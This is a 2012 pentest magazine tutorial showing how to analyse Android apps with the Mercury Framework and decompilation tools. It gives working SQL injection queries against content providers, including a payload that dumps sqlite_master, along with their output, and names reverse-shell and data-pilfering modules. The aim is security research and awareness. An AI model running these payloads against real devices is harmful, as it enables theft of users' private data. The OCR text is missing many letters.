EXPLOITATION FRAMEWORKS

18 http://pentestmag.com 09/2012 (17) September Page

D
uring the past few years, smartphones and
other mobile devices have seen their com-
putational power and data connectivity rise
to a level nearly equivalent to that available on
desktop computers. Nowadays, users save more
sensitive data on their smartphones than on their
desktop pc's. Users are now able to login to their
email accounts, plan meetings, share thoughts
and even do banking transactions with their smart-
phones. When talking about smartphones, we are
looking at the devices that run operating systems
just like desktop pc's.
Android is an open source operating system
based on a monolithic Linux based kernel with a
layered structure of service including core native
libraries and application frameworks. There are
currently more than two million downloadable ap-
plications in the central repository of Android ap-
plications run by Google and Android applications
can also be downloaded from other third-party
sites. On the application level, each software pack-
age is sandboxed by the kernel. n theory, even
if an application gets exploited the attacker is not
able to gain access to unprivileged data. Focusing
on the Android application privileges or as in the
unix world called the permissions is a very basic
and important part of the Android security model.
Android's permission model requires that each ap-
plication explicitly requests the right to access pro-
tected resources before it may be installed. This
will ensure that an application isn't able to access
sensitive information stored on the system or in the
private space of another application and that ac-
cessing hardware features such as the camera or
GPS is not allowed.
Each application on the device runs under a
seperate User D and Group D which means that
every application is isolated from one another.
There is also an option for the application to share
different resources over the UD.
Despite these security controls, applications can
be a serious security risk. This article will have a
close look on Android applications, how to analyze
them and what vulnerabilites could affect user data.
For analyzing applications running on Android,
a new tool has been developed by MWR nfoS-
ecurity called "The Mercury Framework" which of-
fers security researchers a free framework to find
vulnerabilities, write proof-of-concept and exploits,
and allows dynamic analysis of Android applica-
tions.
To comprehend this tutorial it is necessary to
have a basic knowledge of the Android security
system and the functionality of well known security
issues like SQL injections, directory traversal or in-
secure file permissions.
Android Vulnerability
Analysis with Mercury Framework
Nowadays, users save more sensitive data on their smartphones
than on their desktop pcs. This article will have a close look on
Android applications, how to analyze them and what vulnerabilites
could affect user data.
19 http://pentestmag.com 09/2012 (17) September Page
First Step: Preparing a Test Case for Static
and Dynamic Analysis
To help create a test environment it is useful to in-
stall the Android Software Development Kit (An-
droid SDK). The Android SDK can be used to build
virtual devices with different Android releases. Us-
ing virtual devices will speed up the process of vul-
nerability analysis because a researcher is able to
test vulnerabilities across platforms and on different
releases. The SDK offers a range of useful debug-
ging tools which can assist during the process. To
highlight just one, the logcat tool is an Android log-
ging system that provides a mechanism to collect
and view system debug output. Log files from appli-
cations and system resources are collected in circu-
lar buffers to help the developer debug applications.
t is important to note that USB debugging must
be enabled in order for logcat to work.
Static analysis is also known as "static program
analysis". This type of analysis is performed with-
out executing programs. t is based on the source
code and in some cases on the object code.
Dynamic analysis is the analysis of software that
is performed by executing programs on a real or vir-
tual device. The application is analysed by executing
software and testing inputs for interesting behaviour.
Focusing on static analysis, it is necessary to
have knowledge about how an Android Package
works and how it is compiled. The first step is for
the compiler to compile the Java source code into
java class files. The java class files are converted
into .dex files, a special binary files for the Dalvik
VM (Virtual Machine). The XML files are convert-
ed into a binary format and after this step the .dex
files, binaries and other ressources are packaged
into an Android Package. The Android Package
has a .apk extension.
n the case of static analysis, it is common to
reverse engineer an application in order to get a
better view of the behaviour of the application. To
reverse a given application, the open source ap-
plication dex2jar allows us to convert the Android
.dex format into the former Java .class format. The
class format can be decompiled and rewieved with
the tool JD-GU (Java Decompile Graphical User
Interface) for further analysis.
For dynamic analysis, the Mercury Framework
allows a researcher to dynamically test an appli-
cation. The Mercury Framework is constructed of
two parts: the server and the client. The server is
represented as an Android application in the mer-
cury.apk. The server maintains a set of commands
that perform a once-off function on the device and
returns the results to the client. The server appli-
cation requires just one permission the nternet
permission. This permission allows the server to
communicate with the client and share the found
information. Everything that was found can later be
used to write a proof-of-concept exploit.
Requirements for this tutorial:
Software Source Additio-
nal
Android
SDK
http://www.developer.android.
com/sdk
Dex2jar http://www.code.google.com/p/de-
x2jar
Mercury
Framework
http://www.labs.mwrinfosecurity.
com/assets/254/mercury-v1.0.zip
Python 2.7
Android 2.2
Webconten-
tresolver.apk
http://labs.mwrinfosecurity.com/as-
sets/116/WebContentResolver.zip
Second Step: Installing and Configuring
the Software on the Device and the PC
On the PC
The Android SDK
Depending on the testing requirements, the re-
searcher can choose between using the Android
Emulator or the application on the device. The pros
and cons of each method can be referenced below.
Emulator:
Pro:
Easy and fast to set up
Safe environment for analyzing malware or un-
trusty applications
Ability to restore to a previous point
Cross platform testing
Contra:
Slow
Sometimes buggy
Device:
Pro:
Fast and easy monitoring
Real world experience
Full control if the device is rooted
Contra:
Mishandling can lead to data loss
High risk of damage to the device
EXPLOITATION FRAMEWORKS
20 http://pentestmag.com 09/2012 (17) September Page
This tutorial will be based on MacOSX 10.7.4 but
it will also work on Windows or Linux. The appli-
cations will be analyzed on an Android device.
The testing device will be Android Version 2.3.5
on Linux Kernel 2.6.35.10. The device is connect-
ed to a wireless network with the P Adress of
192.168.1.152 and is connected via USB port with
USB debugging enabled.
Before beginning to test applications, the
previously mentioned logcat tool has to run.
Logcat is executed within the ADB binary
(Android Debugging Bridge). After locating this file,
logcat can be executed with the command ./adb
logcat. A piece of advice : You can get lost within
the huge amount of debugging data so it is always
good to save everything for later analysis (Figure 1).
dex2jar JD GUI
For the static analysis, the application is going to be
reversed. By renaming the .apk file to the .zip ex-
tension any common archiver like winzip or winrar
is able to extract the files to the system (Figure 2).
Seeing the files available, the remarkables are
the AndroidManifest.xml and as discussed earli-
er the .dex binary files. The Android Manifest pro-
vides information about the privileges that the ap-
plication is going to be granted. The binary .dex
files can be converted with the dex2jar tool with the
following syntax: ./dex2jar yourapplication.apk.
A new file with the name yourapplication_dex-
2jar.jar is generated (Figure 3).
The JD-GU is now able to decompile this file
and show the source, so the application is ready
to be analyzed.
Mercury client
After installing the Mercury Framework on the device,
a server is listening for an incoming connection. The
client's connection to the server can be started with
python mercury.py followed by connect 192.168.1.52
(Figure 4).
On the Device
The Mercury Server application can be installed
on the device with any file manager available for
Android. After installing the application, the server
can be run by just pressing the ON button.
Step Three: Vulnerability Analysis
To get an idea of the general attack surface of an
application, the tool attacksurface within the pack-
ages section is used. This command can be used
to examine the general security considerations of
an application with regards to exporting of PC end-
points and other atypical Android security concerns.
Attacksurface checks the following cases:
Number of activities exported
Numbers of services exported
Numer of broadcast receivers exported
Number of content providers exported
f the application uses a shared user-id
f the application is marked as debuggable
The syntax of this tool is *mercury#packages >
attacksurface com.yourapplication.mz.
n this case, the tool found the following results:
1 activities exported
0 broadcast receivers exported
0 content providers exported
0 services exported
debuggable = true
One of the interesting things we see here is that
the app is exporting 1 activity and it is marked
as debuggable. This means that on a standard
phone with USB debugging disabled, it will allow
any application to debug the app. This will effec-
tively allow any malicious application to gain full
access to the app which could be a huge risk for
sensitive user data.
To verfiy this, a tool from the Android SDK can
be used. AAPT (Android Asset Packaging Tool)
will give detailed debugging reports. The com-
mand is: aapt list -v -a myfile.apk. The v option is
Figure 2. The content of an APK Package
Figure 1. Logcat debugging output
21 http://pentestmag.com 09/2012 (17) September Page
for verbose output which will allow more detailed
output and the a option will point to the .apk file.
The thing to highlight in this example is this out-
put: A: android:debuggable(0x0101000f)=(type
0x12)0xffffffff. The flag value 0x0 means that
the debuggable option is false and the 0xffffffff val-
ue means that the debuggable option is true and
the application is under potentional risk.
SQL Injection
Theory
Due to the ability of applications to use database
systems, reseachers have found a way to exploit
misconfigured databases with a technique called
SQL njection. To refer back on the introduction,
keep in mind that Android applications are able to
share databases. An application is able to request
data from a content provider using a so-called con-
tent resolver. Focusing the SettingProvider content
will be used as an example. Access to the settings
is not restricted and is therefore granted to any ap-
plication by default. n this example, the applica-
tion used will request the system settings content
from the provider as follows:
Cursor cur = this.getContentResolver().query
(Settings.System.CONTENT_URI, null, null, null,
null); Log("count: " + cur.getCount());
As a result of the command, the program will now
store the information returned by the database.
The query method of the ContentResolver module
is implemented as follows:
hnal Cursor query(Uri uri, String[] projection,
String selection, String[] selectionArgs, String
sortOrder)
By knowing this setting, all pa-
rameters to null the felds are
omitted and no results are re-
turned. The resulting SQL state-
ment will be:
Select * from system;
By accessing a string, this will be
changed if a parameter is added.
For example if _ id=1 is passed
the fnal resulting SQL statement
will be:
Select * from system where (_
id=1);
At this point, the security weak-
ness appears and an attacker is
able to access data in the same
SQL database or in other data-
bases which share the same SQL
database process (GD).
Practice
A tool for exploiting potential
SQL injections in applications is
the Software Webcontentresolv-
er, also included in the Mercury
Framework. n this test case, the
Webcontentresolver didn't work
correctly and a standalone version
was used.
Figure 3. Decompiled Java.class Code
Figure 4. Mercury Frameworks start screen
EXPLOITATION FRAMEWORKS
22 http://pentestmag.com 09/2012 (17) September Page
Once installed on the device, the application has
the port forwarded to tcp port 8080. This can be
done with the tool ADB and the command:
./adb forward tcp:8080 tcp:8080
The researcher is now able to inspect an applica-
tion from a web interface located under http://loc-
alhost:8080 (Figure 5).
To get a list of the possible content providers, click
on the list button. The output will be a list of con-
tent providers, their authority, if they are exported,
and the read/write permissions. n this example, the
package of com.android.proviers.settings was
chosen. The authority which has the permissions
to read its settings. As seen in the table, the read-
Perm (standing for reading permission) is set to null.
Knowing this means that any application is able to
read everything within the package with the author-
ity settings without having any permission (Figure 6).
To get a list of the possible contents within the
package, a tool called finduri can be used. The fin-
duri tool is targeting the com.android.providers.
settings with the following command:
*mercury#provider> hnduri com.android.providers.
settings
The result gives an overview about the content:
/system/app/SettingsProvider.apk:
Contains no classes.dex
/system/app/SettingsProvider.odex:
content://customization_settings/SettingTable/
content://media/phoneStorage/audio/artists
content://media/phoneStorage/audio/media
content://customization_settings/SettingTable/
Pointing the browser at http://localhost:8080/
query?a=settings&path0=system will give the con-
tent of the settings table in the Settings provid-
er. Going to http://localhost:8080/query gives us
a brief overview of the functionality of the que-
ry method. The next step is to
query one of the providers. n
this example, the settings pro-
vider was chosen. Pointing the
browser to http://localhost:8080/
query?a=settings&path0=system
will give the content of the set-
tings table in the Settings provid-
er. Going to http://localhost:8080/
query will give a brief overview of the functionality
of the query method.
Entering http://localhost:8080/query?a=settings
&path0=system&selName=_id&selId=5 will cause
the browser to show a single row in the table:
Query successful: Column count: 3 Row count: 1 |
_id | name | value | 5 | volume_alarm | 6
http://localhost:8080/query?a=settings&path0=sys
tem&selName=_id&selId=5' will demonstrate the
frst vulnerability:
Exception: android.database.sqlite.SQLiteException:
unrecognized token: "')": , while compiling: SELECT
* FROM system WHERE (_id=5') unrecognized token:
"')": , while compiling: SELECT * FROM system
WHERE (_id=5')
To go further and actually exploit this SQL njec-
tion vulnerability, either web application SQL n-
jection tools can be used or it can be done man-
ually. (Manual exploitation will not be covered in
this article.) The Mercury Framework includes a
module to test SQL injections.
The first step on Mercury is to query the content
of the table and then try to inject the table. This can
be done with the command:
*mercury#provider> query content://customization_
settings/SettingTable/ --projection inject
no such column: inject: , while compiling: SELECT
true FROM SettingTable WHERE (key="")
As seen here, a typical SQL error will lead to SQL
njection. The aim of the attacker is to force the
database to show the output of the SQLite master
Figure 6. Setting output from the list tool
Figure 5. Webcontentresolver Browser output
23 http://pentestmag.com 09/2012 (17) September Page
table which will give more information about the
types of tables that are in the database. To do so,
use the option:
*mercury#provider> query content://customization_
settings/SettingTable/ --projection " * FROM
sqlite_master--"
type | name | tbl_name | rootpage | sql
.....
table | android_metadata | android_metadata | 3
| CREATE TABLE android_metadata (locale TEXT)
table | SettingTable | SettingTable | 4 | CREATE
TABLE SettingTable (_id INTEGER primary key
autoincrement,key TEXT NOT NULL,value BLOB)
table | sqlite_sequence | sqlite_sequence |
5 | CREATE TABLE sqlite_sequence(name,seq)
This example of SQL njection does not provide
any juicy information. However, the author found a
critical SQL njection during his research. The dis-
closured vulnerabilitiy allows an attacker to read
everything on your mobile phone such as SMS,
email, accounts and passwords.
To demonstrate that this is possible, the follow-
ing screenshot was taken by the author: Figure 7.
This shows that it is possible to gain sensitive in-
formation for an application without having special
permissions on the system. The following graphic
will try to illustrate this issue: Figure 8.
The Modules Section in Mercury
nside the Mercury Framework, the modules sec-
tion provides a whole range of prebuild scripts to
test against applications :
*mercury#modules> run
auxiliary.webcontentresolver exploit.pilfer.
thirdparty.shazamgps information.secretcodes
scanner.provider.sqlinjection
exploit.pilfer.general.getapn exploit.root.
ztebackdoor scanner.misc.sHagbinaries setup.busybox
exploit.pilfer.general.settingssecure exploit.
shell.reverseshell scanner.provider.dirtraversal
exploit.pilfer.oem.samsung information.
deviceinfo scanner.provider.providerscan
The modules are separated into different categories.
The auxiliary offers little helpers during analysis.
The exploit section includes modules that ex-
ploit given vulnerabilities and information disclo-
sure on the device, and the scanner section in-
cludes scanning tools that fully automate searches
for common vulnerabilities such as directory tra-
versal, SQL njection or APN (Access Point Names).
Figure 8. Demonstration of SQLinjection
Figure 7. Sensitive data at risk
EXPLOITATION FRAMEWORKS
24 http://pentestmag.com 09/2012 (17) September Page
This article will not cover every single module but will
describe a few of them and show how to use them.
scanner.provider.sqlinjection
The first module we will be looking at is the scan-
ner.provider.sqlinjection. To start it, we use the
command run scanner.provider.sqlinjection.
This scanner will now perform a fully automated
search for SQL njections and will give an output of
the vulnerable queries as soon as it is finished. As
seen here, two potentional queries that can be at-
tempted with injection were discovered: Figure 9.
[*] Summary
-------
Injection in projection:
content://com.htc.android.worldclock.
StopwatchProvider
content://com.htc.android.worldclock.TimerProvider
content://cbsetting
scanner.provider.providerscan
The next tool is the scanner.prover.providerscan.
This tools checks automatically to see if there are
queries in the provider section that it is able to read
with the given permission set. Based on this data,
an attacker is able to gain information that might
contain sensitive information (Figure 10).
The output tells us which content providers are
currently able to query. For later analysis, the at-
tacker just has to use the query command such as
the one discussed earlier in the SQL njection sec-
tion and check for potentional SQL njections with
the projection command.
scanner.provider.dirtraversal
The next tool is the scanner.provider.dirtraversal.
This module will check for possible directory tra-
versal vulnerabilities. The goal of this attack is to or-
der an application to access a that is not intend-
ed to be accessible. This attack exploits a lack of
security (the software is acting exactly as it is sup-
posed to) as opposed to exploit-
ing a bug in the code (Figure 11).
Vulnerable providers:
dlna
com.adobe.reader.hleprovider
com.metago.astro.compressed
The logcat output gives us a
view on how the module works:
Figure 12. The module is re-
questing the UR of the Content
and tries to get to a foreign loca-
tion which is not meant to be ac-
cessible by the application.
Conclusion and further
Work
For a summary of what the Mer-
cury Framework does, we'd want
to collect these facts that security
researchers should always keep
in mind:
The Mercury Server is just an
application which is running with
one permission
Figure 12. Logcat output while scanning Directory Traversal Vulnerabilities
Figure 11. Mercury Directory Traversal Scanner
Figure 10. Mercury Query Provider Scanner
Figure 9. Mercury SQL Injection Scanner
This application is able to perform SQL njec-
tion to several vulnerable apps
This application is able to fnd sensitive infor-
mation on the Phone
This application is able to send all of the data
gathered back to the client
This application is able to upload & download
fles to and from your SD Card
The actions that this application is permitting
are not restricted by the Android AP
The application is not recognized by any anti-
virus
The application is still in development
So what can we learn from this? Based on the
fact that this application shows the potential secu-
rity risks on a phone, knowing what a malicious
application is able to do on our a phone without
requiring special permission that could worry the
user. Even without the nternet permission, a ma-
licious application is able to perform these actions
and newly created malware is able to send fles
back to their servers.
How to prevent Android from being exploited by
malicious applications? n fact, there is no solution
to prevent attacks like this with the exception of not
installing third party applications. The user has to
trust the application that he is going to install, al-
ways look to the vendor and the packages that are
used. f you store very sensitive company data on
your phone, you'd better completely reverse en-
gineer the application before you install it. Never
store any sensitive data on the internal or external
SD card because any application is able to read
the entire contents of the SD card whether or not
they have permissions.
Unfortunately, not even anti-virus software can
be used against these kinds of attacks. What the
Android world would need is, in my opinion, an ap-
plication that would sandbox the actual sandbox.
n mho, the software security should come by
the AP developers. The Android software devel-
opment tool should have options to detect possi-
ble SQL njection parameters, mechanisms to pro-
tect against directory traversal vulnerabilities and
should at least define the application borders on
what can and can't read on the SD Card.
As the Mercury Framework shows, it is way to
easy to gain sensitive information from an applica-
tion. Our mobile devices are far away from being
secure. The Android software is at a big risk the
distribution of the software is too fast and the secu-
rity development too slow. f the developers of An-
droid don't start to focus on security, we will soon
face massive and powerful malware on our devic-
es which is able to steal almost everything from us.
The industry has to start now, in the beginning,
and if it is not already too late.
The Mercury Framework showed us what is pos-
sible and we have to find a way to prevent these
types of attacks.
PATRIK FEHRENBACH
My name is Patrik Fehrenbach. Im a 21 year old Com-
puter Networking student at Hochschule Furtwangen
University in South Germany. I am also the founder of IT-
Securityguard.
a d v e r t i s e m e n t